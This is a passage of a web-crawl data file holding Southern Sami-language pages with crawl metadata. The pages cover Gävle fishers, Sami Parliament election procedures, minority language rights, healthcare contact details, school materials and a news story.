gellie tjuetiej jaepiej mietie aaj göölijh gaajhkede lehkeste böötin. Maajhgöölijh gïeh gueliejgujmie åesiestin. Dah strömmingh göölin jïh dam doekin. Dïhte lij ajve staaren borgarh gïeh åadtjoejin åesiestidh. Maajhgöölijh lin daamhtaj borgarh gaskesveerjen staarijste. Jeenjemesh böötin Gävleste, dïhte dan gaavhtan mijjieh dejtie daelie gohtjebe Gävlegöölijh. Maajhgöölemen bööremes tïjje lij 1600- jïh 1700-låhkojne. Gïjren doekoe dah dej vïnhtside tsaekiejin jïh göölemesijjide siglin jïh dusnie årroejin goske tjaktjesjuevnjede. Dellie dah bååstide dej hïejmestaaride vöölkin vïnhtsh dïeves guelijste. Guktie guelieh edtjin giesien bïerkenin dellie dah dejtie såålhtedh jallh såvroejin. Jis guelieh såvrodh sjædta suvreströmmingh.\nVualkojne noerhtese abpe fuelhkiem dåeriedi. Gaajhkem buektiejin mah meehtin ussjedidh galkin giesien daarpesjidh, aaj gaajhtsh. Gaajhtsh leah nuktehtje juvrh mah gåatoeminie sååline bïerkenin, jïh dejstie aajhterh mielhkiem jïh vuastam åadtjoejin. Dïhte stuerebe vïnhtse mij vualkosne nuhtjin gellie göölijh ektesne eekin. Naakenh baajin vïnhtsem giesien mietie tjåadtjodh men mubpieh fovresjimmie- jïh åesiestimmievualkojne darjoejin jïh dej lin åestijh gaajhkene lehkesne Betniemearoen jïh Luvliejaevrien bïjre.\n1800-låhkoen mietie sjïdti sååline jorkesimmiem. Maajhgööliji låhkoe ånnani jïh sjïdti jienebh giesiegööleme båantah lïhkesdajveste gïeh göölemesijjine årroejin. Dan mænngan sjïdtin jienebh jienebh tjïrkesårrojh sååline. Dah gïeh såålide juhtiejin eeremasth ellieslaanten mearoegaedtiesåaknijste jïh dah båajhtoeh jieledetsiehkieh utniejin. Dah såålide juhtiejin jïh håhkesjin tsiehkieh galkin buaranidh.\nGöölemesijjieh\nMearoegaedtesne gååvnesieh jïjnjh göölemesijjieh: sijjieh gusnie evtemes giesien göölijefuelhkieh årroejin. Sijjieh gusnie suajah jïh hijven iemie sïelkedahke gusnie hijven sealkedh jïh sijjie gåetide, gööleme- jïh viermiegïetedæmman jïh nuepie sjædtoeh sjïdtehtehtedh. Sïejhme göölemesijjieh dah gåetieh lïhkes. Staarhvoen mietie mearoebuvrieh vïedtje-vïedtjesne jïh gåatetji bijjene voektenjh tjåadtjoeji. Voektenje lea gåabph viermieh gævnjodh dejtie geelkedh jïh gejhkedh. Sijjiem sjïehtedamme dïsse maam daesnie göölemisnie darjoeh.","id":"","dump":"CC-MAIN-2022-05","url":"http:\/\/nolavonda.se\/sma\/gooleme","date":"2022-01-25T22:12:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304876.16\/warc\/CC-MAIN-20220125220353-20220126010353-00310.warc.gz","language":"sma","language_score":0.9999873638,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999873638153076}","num_words":279,"character_repetition_ratio":0.049,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Published: 22 March 2021\nDåehkieh, krirrieh jïh plearoeh aktanimmieh\nBïevnesh dutnjien gie meatan dåehkesne, krirresne jallh plearoeh aktanimmesne jïh edtjh meatan veeljemisnie årrodh Saemiedægkan suehpeden 16.b. 2021.\nDåehkieh, krirrieh jallh plearoeh aktanimmieh dan vuelelen gohtje krirrieh.\nBæjhkohth seejnemes njoktjen 15.b.\nGaajhkh krirrieh tjuerieh bæjhkoehtidh guktie sjidtieh tjaalasovveme Saemiedigkien veeljemasse. Minngemes biejjie bæjhkoehtidh lea njoktjen 15.b. 2021.\nInformation om PDF-blanketter\nI vissa webbläsare inte går att öppna blanketterna eller fylla i dem. Spara då ned blanketterna på din dator och öppna dem med en PDF-läsare, till exempel Acrobat Reader. Du kan också testa att öppna blanketten i en annan webbläsare.\nDu kan hämta Adobe Reader gratis på Adobes webbplats.\nOrre krirrieh tjuerieh dåarjoem sïjse seedtedh\nDah krirrieh mah dennie mandaateboelhkesne eah mandaath Saemiedigkesne utnieh leah orre krirrieh.\nOrre krirrieh edtjieh dejtie sïjse seedtedh.\n- Protokollem krirreste mij vuesehte krirrien nommem\n- Kopijem protokolleste mij vuesehte krirrien njoelkedassh jïh ståvroem nænnoestamme\n- Vihtiestamme dåarjoem unnemes 50 almetjistie\nDah tjaalegh edtjieh Veeljemereeremasse båateme seejnemes njoktjen 15.b. 2021.\nBïevnesh vihtiestamme dåarjoen bïjre\nOrre krirrieh tjuerieh vihtiestamme dåarjoem sïjse buektedh unnemes 50 almetjistie. Dåarjoe edtja sïjse buektedh goeresne gusnie dah almetjh leah dej nommh tjaaleme.\nGoere Gusnie nommh tjaelieh (sveerjengïelesne) (pdf, 72 kB)\n- Dah almetjh edtjieh meatan båetije veeljemen 2021 minngemes tjaatsestimmielåhkosne\n- Dah almetjh gïeh bæjhkoehtimmiem dåarjoeh edtjieh jïjtje dej nommem jïh persovnenummerem goerese tjaeledh.\n- Goere gusnie nommh tjaelieh.\nVeeljemereereme njoktjen 1.b. 2021 mænngan nænnoste\nVeeljemereereme nænnoste tjaalasovvemen bïjre bæjhkoehtimmeste mænngan minngemes tjaatsestimmielåhkoem lea vihtiestamme. Minngemes tjaatsestimmielåhkoe vihteste seejnemes njoktjen 1.b. 2021.\nKandidaath jïh veeljemesïetelh\nKrirrieh maehtieh kandidaath bæjhkoehtidh aktese jallh gellie læstojde. Gaajhkh kandidaath tjuerieh tjaaleldh luhpiem vedtedh guktie krirrie maahta dejtie bæjhkoehtidh. Læstoeh veeljemesïetelidie trygkieh jïh dejtie gaajhkide seedtieh gïeh åadtjoeh veeljemisnie tjaatsestidh.\nSaemiedigkien veeljemisnie eah gååvnesh gåaroes veeljemesïetelh vuj veeljemesïetelh ajve krirrien nommine. Gååvnese ajve veeljemesïetelh dovne krirrien nommine jïh kandidaati nommigujmie.\nDïhte dan gaavhtan gaajhkh krirrieh jïh kandidaath tjuerieh åvtelhbodti tjaalasovvedh jis edtjieh åadtjodh veeljemisnie meatan årrodh.\nKandidaath jïh læstoeh\nKrirrie maahta kandidaath bæjhkoehtidh aktese jallh gellie læstojde. Læstoe lea kandidaath tjaaleme sjïere öörnegisnie. Unnemes golme kandidaath tjuara bæjhkoehtidh.\nKrirrie kandidaatide tjaala goeren læssan mah krirrieh seejnemes njoktjen 15.b. sïjse buakta guktie veeljemasse bæjhkohte. Kandidaati nommh edtja öörnegisnie tjaeledh guktie edtja veeljemesïetelisnie årrodh.\nVeeljemesïetele-staeriedimmiem dåhkasjehtedh\nVeeljemereereme veeljemesïetele-staeriedimmiem sjugnede mij mejline seedtie almetjasse gie dïedtem åtna dam staeriedidh. Åenehks tïjjen gaavhtan tjuara krirrien dïedtele almetje dallegh vaestiedidh jis sæjhta maam akt staeriedidh.\nMænngan staeriedimmiedïedtele almetje lea staeriedimmie dåhkasjahteme maahta veeljemesïetelem trygkesovvedh.\nVeeljemesïetelidie trygkedh\nVeeljemesïetelidie veelkes paehpierasse trygkesåvva jïh stuaradahkem A6 utnieh. Veeljemesïetelidie krirrien nommem jïh bæjhkoehtamme kandidaati nommide trygkesåvva.\nVeeljemesïetelisnie jeenjemes sijjie 72 kandidaatide åvtebielesne jïh nubpiebielesne, jis fïerhten kandidaaten nommem sjeahta akte sïevesne veeljemesïetelisnie.\nBïevnesh kandidaaten bïjre åadtjoeh årrodh jeenjemes göökte sïevine veeljemesïetelisnie.\nVeeljemesïetelidie distribueeredidh\nDah krirrieh mah bæjhkoehtamme dam jïh dan kandidaath tïjjemierien sisnie åadtjoeh dej veeljemesïetelidie trygkesovveme jïh distribueeredamme Veeljemereeremistie.\nJis krirrie gellie læstoeh åtna dellie seamma jïjnje fïerhten læstoste trygkesåvva.\nAkte veeljemesïetele tjaatsestimmiekåarhtine seedtie gaajhkide gïeh minngemes tjaatsestimmielåhkosne. Veeljemesïetelh aaj gååvnesieh veeljijidie gaajhkene veeljemesavkine.\nLissine krirrieh åadtjoeh 1000 veeljemesïetelh (fïerhte læstojste jis gellie læstoeh utnieh) mah jïjtje maehtieh distribueeredidh.\nJienebh veeljemesïeteli maaksoe\nJis krirrie sæjhta vielie veeljemesïetelh dængkodh enn dah mah krirrie namhtah åadtjoeh, dellie maaksa 50 kråvnah 1000 veeljemesïeteli åvteste. Dah tjuerieh dejtie maeksedh åvteli njoktjen 15.b. 2021. Gaskesadth Veeljemereeremem jïh åadtjoeh vielie bïevnesh maeksemen bïjre.\nDængkomem seamma goeresne darjoeh goh krirrie veeljemasse dam bæjhkohte.\nBïevnesh dutnjien gie kandidaate\nGuktie maahta veeljedh veeljemisnie Saemiedægkan tjoerh:\n- Tjaatsestimmiereaktam åtnah veeljemisnie Saemiedægkan,\n- Sveerjen årroje årrodh, jallh datne årroje mubpie laantesne, leah tjaalasovveme Sveerjesne golme jaepine, jïh\n- Goh kandidaate bæjhkoehtamme tjaalasovveme krirreste.\nKandidaatebuerkiestimmie – datne tjoerh dov luhpiem krærran vedtedh\nFïerhte bæjhkoehtamme kandidaate tjuara jïjtje nualantjaaleme buerkiestimmiegoerem krærran vedtedh.\nBuerkiestimmiegoeresne kandidaate luhpiem vedtedh maahta dam bæjhkoehtidh jïh meatan årrodh krirrien veeljemesïetelisnie.\nKrirrie edtja tjöönghkedh gaajhkide buerkiestimmiegoeride kandidaatijste jïh dejtie Veeljemereeremasse vedtedh, ektesne krirrien bæjhkoehtimmiem jïh kandidaatide.\nBuerkiestimmiegoeride jïh bæjhkoehtimmiem edtja Veeljemereeremasse seedtedh åvteli njoktjen 15.b. 2021.\nPersovnetjaatsestimmie – gie sjædta veeljeme?\nKandidaate tjuara unnemes vïjhte prosenth krirrien tjaatsestimmijste jis maahta persovnetjaatsestimmiej gaavhtan veeljeme sjïdtedh. Lissine kandidaate daarpesje unnemes 25 persovnetjaatsestimmide åadtjodh.\nDïhte lea Leeneståvroe Norrbottenen leenesne mij dïedtem åtna tjaatsestimmide ryöknedh, mandaath juekedh jïh lïhtsegh jïh sæjjasadtjh nommehtehtedh veeljemisnie Saemiedægkan.\nKrirrieh åadtjoeh bïevnesh tjaatsestimmielåhkoste\nGaajhkh krirrieh mah veeljemasse tjaalasovveme åadtjoeh aktanimmiem sjïere bïevnesijstie minngemes tjaatsestimmielåhkoste, dej almetji nommem, adressem jïh reakasovvemetïjjem gïeh tjaatsestimmiereaktam utnieh.\nDaate njoelkedassi mietie njoelkedasse (2002:62) boelhki bïjre databaasijste veeljeminie jïh åålmetjaatsestimmine.\nSaemiedigkien kanslije aktanimmiem deellie USB-mojhtesisnie gaajhkide krirride mænngan Veeljemereereme lea nænnoestamme gaajhki tjaalasovvemi bïjre krirriej bïjre njoktjen 15.b. mænngan.\nAktanimmie åådtje akten aejkien deelledh fïerhte krærran. USB-mojhtesisnie gååvnesieh golme fijlh almetji bïevnesi bïjre minngemes tjaatsestimmielåhkosne;\n- akte excel-fïjle gusnie nomme, adresse jïh reakasovvemetïjje tjåadtjoeh,\n- akte skv-fïjle gusnie nomme, adresse jïh reakasovvemetïjje tjåadtjoeh,\n- akte pdf-fïjle gusnie nomme jïh adresse tjåadtjoeh hammosne mij sjeahta tjaeledh adresseleahpide (3x8 almetjh fïerhtene A4:sne).","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.val.se\/val-och-folkomrostningar\/saemiedigkie-sydsamiska\/daehkieh-krirrieh-jih-plearoeh-aktanimmieh.html","date":"2022-01-29T10:48:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304883.8\/warc\/CC-MAIN-20220129092458-20220129122458-00313.warc.gz","language":"sma","language_score":0.9999778271,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999778270721436}","num_words":757,"character_repetition_ratio":0.096,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.074,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bovre\nDaate bovre 1893 jaepeste.\nGellie bovrh lij ovmessie-åesiestimmiebovrh. Dïhte sæjhta jiehtedh dah doekin onn'ohtje mestie akt. Ræhpas lij aareh aereden raejeste seente iehkeden raajan, men ij lij dan soe jïjnjh åestijh. Åesiestæjjah veeljin eeremes sijjieh Storgatan mietie. Årromegåetieh daamhtaj juhtin voenijste jïh tseegkin dejtie fasaaden geajnoen vööste. Vuelielaptesne geajnoen vööste lij bovre jïh bijjielaptesne åesiestæjja jïh sov fuelhkie årroejin. Mubpie bielesne lij staellie, moeregåetie, ohtjegåetie jïh buvrieh.\nDan gaavhtan dan jïjnjh åestijh guhkede böötin – våågnine jallh slearrine – åesiestæjjah aaj utnin tjïehtjelh jïh staelliesijjieh gusnie meehtin årrodh sov sjåljosne.","id":"","dump":"CC-MAIN-2022-21","url":"http:\/\/nolavonda.se\/sma\/bovre","date":"2022-05-29T02:36:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652663035797.93\/warc\/CC-MAIN-20220529011010-20220529041010-00634.warc.gz","language":"sma","language_score":0.9999819994,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999819993972778}","num_words":88,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Reakta dov gïelem nuhtjedh\nSveerjen nasjonaale unnebelåhkoeh leah judarh, romerh, saemieh, sveerjesåevmieladtjh jïh torneladtjh. Dah nasjonaale unnebelåhkoegïelh leah jiddisch, romani chib, saemiengïelh, såevmiegïele jïh meänkieli.\nGaajhkh nasjonaale unnebelåhkoegïelh edtja vaarjelidh jïh gorredidh\nLaake jeahta ahte dah nasjonaale unnebelåhkoegïelide edtja vaarjelidh jïh evtiedidh. Dïhte gie lïhtseginie nasjonaale unnebelåhkosne edtja reaktam utnedh dan unnebelåhkoegïelem lïeredh, evtiedidh jïh nuhtjedh. Åejvieladtjh edtjieh dejtie nasjonaale unnebelåhkojde goltelidh jïh dej daerpiesvoetide krööhkestidh.\nSjïere nænnoes reaktah såevmiegïelese, meänkielise jïh saemiengïelide\nSjïere nænnoes reaktah dïhte åtna gie såevmiegïelem, meänkielim jallh saemiengïelem soptseste jïh tjïeltesne orre mij lea reeremedajvesne. Daesnie minoritet.se maahtah vuejnedh jis dov tjïelte lea reeremedajvesne.\nDatne gie tjïeltesne årroeh reeremedajvesne reaktam åtnah åejvieladtjigujmie gaskesadtedh dov gïelesne. Datne edtjh maehtedh åadtjodh vaestiedassem dovne tjaaleldh jïh njaalmeldh seamma gïelesne.\nDatne maahtah krïevedh åadtjodh aarhskuvlem, sjïere jeatja pedagogihken darjomem jïh voeresehoksem abpe jallh biehkine såevmiegielesne, meänkielisne jallh saemiengïelesne.\nJis datne årroeh naan tjïelteste Árjjepluovve, Jiellevárre, Haparanda, Jåhkkemåhkke, Giron, Bájil jallh Övertorneå datne reaktam åtna unnebelåhkoegïelem nuhtjedh gaskesadtemisnie dåapmoestovline.\nSeamma saaht gusnie årroeh edtjh datne eejnegen maehtedh tjaeledh såevmiegïelesne, meänkielisne jïh saemiengïelesne Rïjhkebiejjien saadthalmetjidie jïh Diskrimineringsombudsmannen gåajkoe.\nSeammalaakan aaj sjædta Justitiekansleren, Försäkringskassan, Skatteverken jïh Arbetsförmedlingen gåajkoe ierine gusnie datne paarte jallh sæjjasadtje paarten sijjesne.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/www.socialstyrelsen.se\/om-socialstyrelsen\/nationella-minoriteter\/nasjonaale-unnebelahkoeh\/reakta-dov-gielem-nuhtjedh\/","date":"2022-05-18T22:34:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662522556.18\/warc\/CC-MAIN-20220518215138-20220519005138-00534.warc.gz","language":"sma","language_score":0.9999862909,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 0.9999862909317017}","num_words":194,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tsïeglh sïejhmemes gellie gyhtjelassh åadtjoeh dovne learoehkijstie jïh lohkehtæjjijste. Mijjieh gaajhkesidie haestebe ryöjredidh åvtelen guessieh skuvlese åadtjoeh – vielie daajroe datnem viehkehte vielie sjyöhtehke gyhtjelassh gihtjedh.\nJuvnehtamme nedtesijjieh\nGoerehth dam saemien viehkine tjaalegidie lohkedh dej ovmessie kategoriji nuelesne. Naemhtie maehtede buerebelaakan saemien histovrijinie jïh kultuvrine åahpenidh, jïh daajroem åadtjodh noere saemiej jieleden bïjre.\nNuhtjh gaptaleksikovnem jïh goerehth kaarhtem\nDoh ovmessie gaptah unnemes seamma gellie joekehtsinie gååvnesieh goh åålmehvaarjoe, jïh leah maaje naakede destie man bïjre almetjh jeenjemes gihtjie. Kaarhtesne aelhkie vuejnedh guktie saemieh daan beajjetje laanteraastaj dåaresth jielieh, jïh datne aaj aktem vaatoem saemien gïelijste åadtjoeh.\nDarjoeh aktem barkoem vaanesovmi vööste\nSaemien noerh gaatesjen gaajhkem dååjroeh, \"lustes\" lahtestimmijste vesties jïh våajnoes trïegkenassese. Gaskese jïh daajroe lea mijjen vihkielommes viehkievierhtiej gaskem juktie vaanesovmide nåhkehtidh. Måjhtelh daate aaj maahta dov skuvlesne sjugniehtovvedh, jïh doesth dihte årrodh mij dan bïjre bïeljele, bielelen krööhkedh datne leah learohke jallh lohkehtæjja.\nJis sïjhtede enn vielie goerehtidh\nVuartesjh tïjjeraajroem, gaavnede dam suerkiem mïsse stööremes ïedtjem utnede jïh lohkede tjaalegh daehtie boelhkeste.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/samiskeveivisere.no\/sma\/ryojredh-guesside\/","date":"2022-07-01T13:40:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103941562.52\/warc\/CC-MAIN-20220701125452-20220701155452-00719.warc.gz","language":"sma","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 1.0000070333480835}","num_words":163,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.132,"stopwords_ratio":0.135,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien tsïeglh leah noerh mah bïjre jarkan Nöörjesne minnieh jïh saemiej bïjre håaloeh, uvtemes jåarhkeskuvline. Tsïeglh Saemien kultuvre- jïh siebriedahkedaajroem Saemien jïlleskuvlesne Guovdageaidnusne luhkieh, jïh tsïeglebarkoe lea akte bielie dehtie ööhpehtimmeste.\nSjollehke jïh lïerije håalomh\nLearohkh mah guessieh tsïeglijste åadtjoeh skuvlesne aktem gieltegs goerkelimmiem åadtjoeh dan saemien veartenen sïjse. Guktie dah dååjroeh aalkoealmetjinie årrodh, jïh guktie doh jeanatjommes saemieh daan biejjien jielieh. Tsïeglh gaajhken bïjre soptsestieh goh gaptan aerpievuekieh jïh gïelen, histovrijen jïh aarkebiejjien jieleden bïjre, jïh dej lea jïjnje haarjanimmie gyhtjelassh vaestiedidh.\nNamhtah skuvlese\nTsïegli vuelkemen jïh aaj daerpies jïjjedimmien åvteste leah åvtelhbodti maakseme, jïh skuvlese eevre namhtah guessieh jïh håalomh åadtjodh.\nRyöjredamme learohkh stööremes nåhtoem vedtieh\nIj leah daerpies åvtedaajrojne juktie meatan årrodh håaloeminie, men dååjrehtimmien mietie dle nuhteligs ånnetji dïsse ryöjredidh. Lohkehtæjjah byöroeh vuartasjidh Ryöjredh guesside.\nDongkede tsïeglide\nJeenjesh tsïegli mietie gihtjieh, jïh naa sïejhme vuertemelæstoejgujmie. Gïehtjede maaje vuelkemelaajroem juktie vuejnedh gåessie tsïeglh leah skuvlen dajvesne, jïh gåessie dej leah gåaroes biejjieh.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/samiskeveivisere.no\/sma\/tsiegleoornegen-bijre\/","date":"2022-07-01T14:00:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103941562.52\/warc\/CC-MAIN-20220701125452-20220701155452-00577.warc.gz","language":"sma","language_score":1.0000010729,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 1.000001072883606}","num_words":155,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.133,"stopwords_ratio":0.206,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1177 Vårdguidens webbesæjrosne 1177.se maahtah ohtsedidh jïh vielie lohkedh ovmessie skïemtjelassigujmie jïh symptomigujmie jïh maam maahtah jïjtje darjodh. Såemies tjaalegh unnebelåhkoegïelide jarkoestamme.\nMaahtah aaj ringkedh telefonnummerem 1177. Dellie åadtjoeh skïemtjesåjhterinie soptsestalledh mah dov daerpiesvoetem vuarjasjidh, raerieh vedtieh jïh datnem vuesiehtieh reaktoe hoksedåastoevasse jis daarpesje. Skïemtjesåjhterh daaroestieh men aaj englaanten gïelem soptsestieh.\nMahte eejnegen edtjh hoksem healsoejarngesne jallh skïemtjeståaposne ohtsedidh gosse skïemtjh jallh naan vaejvieh åtnah.\nJis ih raakte daejrieh man ålvas dov skïemtjelasse lea, ringkh telefonnummerem 1177 dellie åadtjoeh skïemtjesåjhterinie raeriestidh. Jis ålvas skïemtjelassem jallh skaaram åadtjoeh edtjh ryöktesth hïegkedåastoven gåajkoe.\nRingkh 112 jis sovmh skïemtjebïjlem daarpesjh.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/www.1177.se\/sma-se\/Vasterbotten\/other-languages\/other-languages\/sok-vard-pa-ratt-mottagning---andra-sprak---vasterbotten\/","date":"2022-07-04T20:55:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104496688.78\/warc\/CC-MAIN-20220704202455-20220704232455-00077.warc.gz","language":"sma","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"sma_Latn_score\": 1.0000022649765015}","num_words":93,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.145,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Vihkielommes filmesne leah karakteerh, jïh guktie karakteerh ovmessie tsiehkine dåemiedieh. Dorjehtæjjah tjuerieh karakteeride spealadidh juktie vuartasjæjjide eadtjalgehtieh jïh tsevtsieh. Maj-Doris Rimpi båeries karakteerem Christina spealede åenehkes-filmesne Stoerre vaerie.\nÅvtelen vaestedh, tjoerh åenehks-filmem Stoerre vaerie vuejnedh.\nLaavenjasse\nAnalyseredh karakteerem Christina\n- Maam Christinan bïjre tuhtjh rïhpestimmie-sceenesne?\n- Maam Christina baerneben jïh aahkoven bïjre tuhtjh?\n- Buerkesth guktie Christina juvlemisnie dåemede?\n- Guktie Christina skearkege filmen tjïrrh?\n- Maam vïenhth vijriebasse Christinine heannede?","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ndla.no\/nb\/subject:20\/topic:1:198284\/topic:1:182011\/resource:1:177974","date":"2022-06-27T05:25:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103328647.18\/warc\/CC-MAIN-20220627043200-20220627073200-00126.warc.gz","language":"sma","language_score":0.9999469519,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999469518661499}","num_words":66,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.091,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gellie almetjide jovnesåhkoe Åanghkerenjeeruvisne hov båeries vuekie. Seamma aejkien iktesth naakene mij voestes aejkien jovnesåhkoen desnie heevehte.\nAkte dejstie mah gellie jaepieh desnie orreme jïh edtja dohkoe dan jaepien vihth lea Maahke Bransfjell Praahkeste. Mohte ij dïhte bijle vuejh... Dïhte haelehte!\nAkte jïh bielie tæjmoe\nMaahke medtie uktsie jaepieh haeliehtamme, mohte daate voestes aejkien goh Åanghkerenjeeruvasse haelehte. Plassjeste Åanghkerenjeeruvasse medtie vïjhteluhkie mijlh vuejedh jïh tjïjhtje tæjmoeh vaalta mejtie Nøørjen tjïrrh vuaja.\nGirtine barre akte jïh bielie tæjmoe. – Aelhkies lea haeliehtidh, Bransfjell jeahta.\nMaahke Bransfjell\nIj naan mearhka, såå vïenhtem tjaepbies fealadimmie sjædta!\nIj dïhte oktegh healehth. Dah leah gøøkte mah edtjieh vuelkedh, såå nov gujhth Bransfjell sïelske åadtjoe. Ånnetji bïegke jïh mullie dan biejjien, mohte Bransfjell veanhta hijven gåerede!\nLuste gaavnedidh\nManne gïhtjem man åvteste Åanghkerenjeeruvasse vualka? Dle soptseste dan soe luste dohkoe vuelkedh, gaajhkh jeatjah saemieh jïh fuelhkie råekedh. – Murriedidh, dïhte jeahta.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/www.nrk.no\/sapmi\/aanghkerenjeeruvasse-haelehte-1.12417612","date":"2022-06-29T01:51:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103619185.32\/warc\/CC-MAIN-20220628233925-20220629023925-00215.warc.gz","language":"sma","language_score":0.9999982119,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 0.9999982118606567}","num_words":143,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.098,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aktene ektie-bïejeme tjaalegisnie ij leah ajve dïhte mij baakoejgujmie jïh bokstaavigujmie tjaalasåvva. Ektie-bïejeme tjaalegisnie dovne teeksth, guvvieh jïh\/jallh tjoejh mah aktese bïejeme.\nAktene ektie-bïejeme tjaalegisnie ij leah ajve dïhte mij tjaalasåvva baakoejgujmie jïh bokstaavigujmie. Ektie-bïejeme tjaalegisnie dovne teeksth, guvvieh jïh\/ jallh tjoejh mah aktese bïejeme. Ektie-bïejeme tjaalegh leah vuesiehtimmien gaavhtan guvvie, musihke, reklaame, filme, guvvie-raajroe j.n.v.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/ndla.no\/nb\/subject:1:20e0fdca-5237-4095-a9e5-cea7d63866c0\/topic:3:175143\/topic:3:175146\/","date":"2022-08-09T23:50:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882571090.80\/warc\/CC-MAIN-20220809215803-20220810005803-00357.warc.gz","language":"sma","language_score":0.999994278,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999942779541016}","num_words":56,"character_repetition_ratio":0.164,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Juktie væjkeles bïhkedæjjine sjïdtedh lea daerpies dijjieh aaj daan beajjetje skuvlesysteemem jïh ööhpehtimmienuepieh damtede. Sjyöhtehke bïevnesh maehtede gellielaakan åadtjodh:\n- Noereskuvle ovmessie bïevnesetjåanghkoeh ööhpehtimmien jïh båetijen aejkien barkoeveeljemen bïjre öörnie, jïh learohkh bïevnesematerijellem meatan åadtjoeh skuvleste.\n- Sïejhmemes bïevnesetjåanghkoeh öörnesuvvieh åeliealmetjidie\/eejhtegidie.\n- Dijjieh maehtede öörnemasse «ræhpas biejjie» jåarhkeskuvline mïnnedh jallh ööhpehtimmie- jïh barkoemæssoeh vaaksjodh.\n- Lissine maehtede individuelle soptsestallemen bïjre birredh ööhpehtimmie- jïh barkoeraeriestæjjine juktie ovmessie ööhpehtimmieveeljemh digkiedidh.\n- Sijjesne vilbli.no vielie bïevnesh gaavnh jåarhkelïerehtimmien bïjre.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/gusnie-bievnesh-gaavnede\/a\/033024","date":"2022-08-16T07:10:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572221.38\/warc\/CC-MAIN-20220816060335-20220816090335-00255.warc.gz","language":"sma","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000083446502686}","num_words":71,"character_repetition_ratio":0.089,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Gaski, Harald Bertije Davvi Girji OS Vaadtasovvemejaepie 1998 Faage Daaroengïele learoehkide mah saemiengïelem voestesgïeline luhkieh Saemien 2, 3 jïh 4 Saemien 1 Daltese VGS Jollebe ööhpehtimmie Giele Daaroengïele ISBN 8273743535 Formaate 